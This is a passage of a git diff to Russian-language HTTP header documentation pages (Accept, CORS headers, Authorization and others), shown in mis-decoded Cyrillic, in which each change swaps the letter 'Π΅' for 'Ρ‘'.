- <dd>Π’Π΅Π³ языка (ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ Π»ΠΎΠΊΠ°Π»ΠΈ, "locale identifier"). Бостоит ΠΈΠ· 2-3 Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎΠ³ΠΎ основного языкового Ρ‚Π΅Π³Π°, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π³ΠΎ язык, ΠΈ ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ Π·Π° Π½ΠΈΠΌ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒΒ  Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠΎΠ΄-Ρ‚Π΅Π³ΠΈ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ <code>'-'</code>. НаиболСС распространСнной Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΡΠ²Π»ΡΡŽΡ‚ΡΡ указания Π½Π° страну ΠΈΠ»ΠΈ Ρ€Π΅Π³ΠΈΠΎΠ½ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>'en-US'</code>Β ΠΈΠ»ΠΈΒ <code>'fr-CA'</code>) ΠΈΠ»ΠΈ Ρ‚ΠΈΠΏ Π°Π»Ρ„Π°Π²ΠΈΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>'sr-Latn'</code>). Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‚ΠΈΠΏ ΠΎΡ€Ρ„ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ (<code>'de-DE-1996'</code>) ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² контСкстС Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°.</dd>
+ <dd>Π’Π΅Π³ языка (ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ Π»ΠΎΠΊΠ°Π»ΠΈ, "locale identifier"). Бостоит ΠΈΠ· 2-3 Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎΠ³ΠΎ основного языкового Ρ‚Π΅Π³Π°, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π³ΠΎ язык, ΠΈ ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ Π·Π° Π½ΠΈΠΌ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒΒ  Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠΎΠ΄-Ρ‚Π΅Π³ΠΈ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ <code>'-'</code>. НаиболСС распространённой Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΡΠ²Π»ΡΡŽΡ‚ΡΡ указания Π½Π° страну ΠΈΠ»ΠΈ Ρ€Π΅Π³ΠΈΠΎΠ½ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>'en-US'</code>Β ΠΈΠ»ΠΈΒ <code>'fr-CA'</code>) ΠΈΠ»ΠΈ Ρ‚ΠΈΠΏ Π°Π»Ρ„Π°Π²ΠΈΡ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>'sr-Latn'</code>). Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ‚ΠΈΠΏ ΠΎΡ€Ρ„ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ (<code>'de-DE-1996'</code>) ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² контСкстС Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°.</dd>
<dt><code>*</code></dt>
<dd>Π›ΡŽΠ±ΠΎΠΉ язык; <code>'*'</code> ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ любоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</dd>
<dt><code>;q=</code> (q-factor weighting)</dt>
- <dd>Π›ΡŽΠ±ΠΎΠ΅ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Ρ… Π² порядкС прСдпочтСния, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠ΅ΠΉ {{glossary("Quality values", "quality value")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ <em>вСсами</em>.</dd>
+ <dd>Π›ΡŽΠ±ΠΎΠ΅ ΠΈΠ· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Ρ… Π² порядкС прСдпочтСния, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠ΅ΠΉ {{glossary("Quality values", "quality value")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ <em>вСсами</em>.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/http/headers/accept-patch/index.html b/files/ru/web/http/headers/accept-patch/index.html
index 5cacf1026f..17bc2ae125 100644
--- a/files/ru/web/http/headers/accept-patch/index.html
+++ b/files/ru/web/http/headers/accept-patch/index.html
@@ -29,7 +29,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Accept-Patch
<td>{{Glossary("Response header", "Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°")}}</td>
</tr>
<tr>
- <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
+ <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
<td>Π΄Π°</td>
</tr>
</tbody>
diff --git a/files/ru/web/http/headers/accept/index.html b/files/ru/web/http/headers/accept/index.html
index ba2539d420..832d095b09 100644
--- a/files/ru/web/http/headers/accept/index.html
+++ b/files/ru/web/http/headers/accept/index.html
@@ -10,7 +10,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Accept
---
<div>{{HTTPSidebar}}</div>
-<p>HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса <strong><code>Accept</code></strong>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊΒ <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME Ρ‚ΠΈΠΏΡ‹</a>, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <a href="/ru/docs/Web/HTTP/Content_negotiation">согласованиС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>, сСрвСр Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΎ своСм Π²Ρ‹Π±ΠΎΡ€Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader ("Content-Type")}}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ Π°Π΄Π΅ΠΊΠ²Π°Ρ‚Π½Ρ‹Π΅ значСния для этого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π² зависимости ΠΎΡ‚ контСкста, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ выполняСтся запрос: ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй CSS для запроса задаСтся Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ изобраТСния, Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ»ΠΈ скрипта.</p>
+<p>HTTP Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ запроса <strong><code>Accept</code></strong>Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΊΠ°ΠΊΒ <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME Ρ‚ΠΈΠΏΡ‹</a>, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <a href="/ru/docs/Web/HTTP/Content_negotiation">согласованиС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>, сСрвСр Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΠ΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΎ своём Π²Ρ‹Π±ΠΎΡ€Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΎΡ‚Π²Π΅Ρ‚Π° {{HTTPHeader ("Content-Type")}}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ Π°Π΄Π΅ΠΊΠ²Π°Ρ‚Π½Ρ‹Π΅ значСния для этого Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π² зависимости ΠΎΡ‚ контСкста, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ выполняСтся запрос: ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй CSS для запроса задаётся Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ изобраТСния, Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ»ΠΈ скрипта.</p>
<table class="properties">
<tbody>
@@ -19,7 +19,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Accept
<td>{{Glossary("Request header")}}</td>
</tr>
<tr>
- <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
+ <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
<td>Π½Π΅Ρ‚</td>
</tr>
<tr>
diff --git a/files/ru/web/http/headers/access-control-allow-headers/index.html b/files/ru/web/http/headers/access-control-allow-headers/index.html
index d405260c68..bc9e7641c2 100644
--- a/files/ru/web/http/headers/access-control-allow-headers/index.html
+++ b/files/ru/web/http/headers/access-control-allow-headers/index.html
@@ -39,7 +39,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Access-Control-Allow-Headers
<dl>
<dt>&lt;header-name&gt;</dt>
- <dd>Бписок ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²Β Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми.</dd>
+ <dd>Бписок ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ²Β Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -74,7 +74,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Access-Control-Allow-Headers
<h2 id="Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ_ΠΏΠΎ_совмСстимости">Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎ совмСстимости</h2>
<ul>
- <li>ΠŸΠΎΠ΄ΡΡ‚Π°Π½ΠΎΠ²ΠΎΡ‡Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (*), ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π² послСднСй спСцификации, Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…:
+ <li>ΠŸΠΎΠ΄ΡΡ‚Π°Π½ΠΎΠ²ΠΎΡ‡Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (*), ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ Π² послСднСй спСцификации, Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…:
<ul>
<li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
<li>Firefox: {{bug(1309358)}}</li>
diff --git a/files/ru/web/http/headers/access-control-allow-methods/index.html b/files/ru/web/http/headers/access-control-allow-methods/index.html
index 788d616348..1f6b997095 100644
--- a/files/ru/web/http/headers/access-control-allow-methods/index.html
+++ b/files/ru/web/http/headers/access-control-allow-methods/index.html
@@ -34,7 +34,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Access-Control-Allow-Methods
<dl>
<dt>&lt;method&gt;</dt>
- <dd>Π Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ запятыми список доступных <a href="/en-US/docs/Web/HTTP/Methods">ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² HTTP запросов</a>.</dd>
+ <dd>Π Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ запятыми список доступных <a href="/en-US/docs/Web/HTTP/Methods">ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² HTTP запросов</a>.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -67,7 +67,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Access-Control-Allow-Methods
<h2 id="ЗамСчания_ΠΏΠΎ_совмСстимости">ЗамСчания ΠΏΠΎ совмСстимости</h2>
<ul>
- <li>ΠŸΠΎΠ΄ΡΡ‚Π°Π½ΠΎΠ²ΠΎΡ‡Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (*), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ упоминаСтся Π² послСднСй спСцификации Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…:
+ <li>ΠŸΠΎΠ΄ΡΡ‚Π°Π½ΠΎΠ²ΠΎΡ‡Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (*), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ упоминаСтся Π² послСднСй спСцификации Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…:
<ul>
<li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
<li>Firefox: {{bug(1309358)}}</li>
diff --git a/files/ru/web/http/headers/access-control-allow-origin/index.html b/files/ru/web/http/headers/access-control-allow-origin/index.html
index 402d34c996..a8c83a5fb6 100644
--- a/files/ru/web/http/headers/access-control-allow-origin/index.html
+++ b/files/ru/web/http/headers/access-control-allow-origin/index.html
@@ -32,7 +32,7 @@ Access-Control-Allow-Origin: null
<dl>
<dt><code>*</code></dt>
- <dd>Для запросов <em>Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…</em>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "<code>*</code>" ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован ΠΊΠ°ΠΊ шаблон; Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ запросы ΠΈΠ· Π»ΡŽΠ±Ρ‹Ρ… источников. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ шаблон с ΡƒΡ‡Π΅Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">ошибкС</a>.</dd>
+ <dd>Для запросов <em>Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…</em>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "<code>*</code>" ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован ΠΊΠ°ΠΊ шаблон; Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ запросы ΠΈΠ· Π»ΡŽΠ±Ρ‹Ρ… источников. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ шаблон с ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">ошибкС</a>.</dd>
<dt><code>&lt;origin&gt;</code></dt>
<dd>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ источник. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ источник.</dd>
<dt><code>null</code></dt>
@@ -51,7 +51,7 @@ Access-Control-Allow-Origin: null
<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ <code>Access-Control-Allow-Origin</code> Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΎΠ³ΠΈΠΊΡƒ Π½Π° сторонС сСрвСра для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ значСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Origin")}} запроса, ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΌ списком источников, Π° Π·Π°Ρ‚Π΅ΠΌ, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{HTTPHeader("Origin")}} присутствуСт Π² спискС, Π·Π°Π΄Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>Access-Control-Allow-Origin</code>, Ρ€Π°Π²Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ {{HTTPHeader("Origin")}}.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ <code>Access-Control-Allow-Origin</code> Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΎΠ³ΠΈΠΊΡƒ Π½Π° сторонС сСрвСра для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ значСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Origin")}} запроса, ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΌ списком источников, Π° Π·Π°Ρ‚Π΅ΠΌ, Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{HTTPHeader("Origin")}} присутствуСт Π² спискС, Π·Π°Π΄Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>Access-Control-Allow-Origin</code>, Ρ€Π°Π²Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ {{HTTPHeader("Origin")}}.</p>
<h3 id="CORS_ΠΈ_ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅">CORS ΠΈ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
diff --git a/files/ru/web/http/headers/access-control-max-age/index.html b/files/ru/web/http/headers/access-control-max-age/index.html
index b889deae0f..2653520439 100644
--- a/files/ru/web/http/headers/access-control-max-age/index.html
+++ b/files/ru/web/http/headers/access-control-max-age/index.html
@@ -13,7 +13,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Access-Control-Max-Age
<td>{{Glossary("Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°")}}</td>
</tr>
<tr>
- <th scope="row">{{Glossary("Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
+ <th scope="row">{{Glossary("Π—Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
<td>Π½Π΅Ρ‚</td>
</tr>
</tbody>
diff --git a/files/ru/web/http/headers/authorization/index.html b/files/ru/web/http/headers/authorization/index.html
index 462f6f0c57..71566867b0 100644
--- a/files/ru/web/http/headers/authorization/index.html
+++ b/files/ru/web/http/headers/authorization/index.html
@@ -20,7 +20,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Authorization
<td>{{Glossary("Request header")}}</td>
</tr>
<tr>
- <th scope="row">{{Glossary("Forbidden header name", "Π—Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Π½ΠΎΠ΅ имя Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°")}}</th>
